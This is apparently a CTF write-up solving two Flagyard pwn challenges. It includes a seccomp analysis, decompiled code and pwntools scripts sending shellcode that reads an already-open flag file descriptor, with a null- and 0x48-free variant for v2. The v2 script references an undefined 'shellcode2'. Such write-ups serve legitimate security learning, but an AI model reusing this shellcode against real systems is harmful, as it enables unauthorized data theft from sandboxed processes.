team-logo
Published on

muted shell & muted shell v2

Authors

Introduction

Flagyard is famous for its interesting PWN challenges and more. This time was no different. I hadn’t visited in a while, and two tasks Muted Shell and Muted Shell v2 caught my attention. You can see these challenges here. I’ll also include the binaries at the end, just in case they disappear; they’re worth keeping.

Muted Shell

Analysis

After launching the program, we get a prompt to submit shellcode.

./muted_shell
Send your shellcode:
werrwe
Segmentation fault (core dumped)

In the task description we see "can u read something without opening it?". It’s not clear what that means yet, but if we run the program with seccomp-tools…

pwn-muted-shell$ seccomp-tools dump ./muted_shell
Send your shellcode:
wer
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0003
 0002: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0003: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0007
 0006: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0007: 0x06 0x00 0x00 0x80000000  return KILL_PROCESS

We can see that we can only read and write. Where is open? How to open the file? However, when inspecting the code in Binary Ninja

555555555367    int32_t main(int32_t argc, char** argv, char** envp)

555555555367    {
555555555367        setbuf(stdin, nullptr);
555555555396        setbuf(stdout, nullptr);
5555555553aa        setbuf(stderr, nullptr);
5555555553c8        int32_t var_c = open("./flag", 0);
5555555553eb        int64_t buf = mmap(nullptr, 0x1000, 7, 0x22, 0xffffffff, 0);
5555555553eb
5555555553f9        if (buf == -1)
5555555553f9        {
55555555541b            perror("mmap");
55555555540a            return 1;
5555555553f9        }
5555555553f9
55555555541b        puts("Send your shellcode:");
555555555431        read(0, buf, 0x100);
55555555543b        install_seccomp();
555555555449        buf();
55555555544b        return 0;
555555555367    }

We can see that the flag is indeed opened at the beginning. Analyzing in pwndbg, we observe that the opened file returns the value 3 in RAX. That will be useful later. While checking checksec:

checksec muted_shell
pwn-1

We can see that PIE is enabled, so addresses are randomized. However, the stack is writable, and we can execute code there. The file is already open, so the main issue is where to place the payload. We don’t have any absolute addresses, but the program contains a call rdx, meaning RDX holds a stack address. That is enough to craft a buffer for the flag. The rest is just writing shellcode.

Solution

solution.py
from pwn import *

context.log_level = 'warning'
#context.log_level = 'debug'


context.update(arch='x86_64', os='linux')
#context.terminal = ['cmd.exe', '/c', 'start', 'wsl.exe']
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root


HOST="nc tcp.flagyard.com 25299"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./muted_shell"
binary = context.binary = ELF(BINARY_NAME, checksec=False)

if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)


shellcode = """
    mov     r10, rdx          # zachowaj bazę z rdx

    mov     edi, 3            # fd = 3 (flag)
    lea     rsi, [r10+0x100]  # buffer na stosie
    mov     edx, 0x100        # size = 256
    xor     eax, eax          # sys_read = 0
    syscall                   # read(3, buf, 256)

    mov     edi, 1            # stdout
    lea     rsi, [r10+0x100]  # ta sama baza
    mov     edx, eax          # ile przeczytano
    mov     eax, 1            # sys_write = 1
    syscall                   # write(1, buf, n)

    xor     edi, edi          # exit(0)
    mov     eax, 60           # sys_exit
    syscall
"""
payload=asm (shellcode)


p.sendlineafter(b'Send your shellcode:',payload)


p.interactive()

Muted Shell v2

Program is now classified as medium and is a modified version of Muted Shell. While sending the payload, the bytes 0x00 and 0x48 are filtered, but that's not an issue—just adjust the payload slightly.

Solution

solution.py
from pwn import *

context.log_level = 'warning'

context.update(arch='x86_64', os='linux')
context.terminal = ['/mnt/c/WINDOWS/System32/cmd.exe', '/c', 'start', 'wsl.exe'] #root



HOST="nc tcp.flagyard.com 25299"
ADDRESS,PORT=HOST.split()[1:]

BINARY_NAME="./muted_shellv2"
binary = context.binary = ELF(BINARY_NAME, checksec=False)


if args.REMOTE:
    p = remote(ADDRESS,PORT)
else:
    p = process(binary.path)


shellcode = r"""
    mov     r10, rdx          # zachowaj bazę z rdx w r10


    xor     r9d, r9d          # 45 31 c9
    mov     r9b, 1            # 41 b1 01
    shl     r9d, 8            # 41 c1 e1 08  -> r9 = 0x100


    lea     rsi, [r10 + r9]   # bez displacementu, więc bez zer

    mov     edx, r9d          # 44 89 ca
    xor     edi, edi          # 31 ff
    mov     dil, 3            # 40 b7 03   -> edi = 3
    xor     eax, eax          # sys_read = 0
    syscall

    xor     edi, edi          # 31 ff
    mov     dil, 1            # 40 b7 01   -> edi = 1
    mov     edx, eax          # nbytes
    mov     al, 1             # sys_write = 1 (b0 01)
    syscall

"""

payload=asm (shellcode2)
print(disasm(payload))
p.sendlineafter(b'Send your shellcode:',payload)

p.interactive()

Bonus

Optionally, You can find all resources to tests: https://github.com/MindCraftersi/ctf/tree/main/portals/flagyard/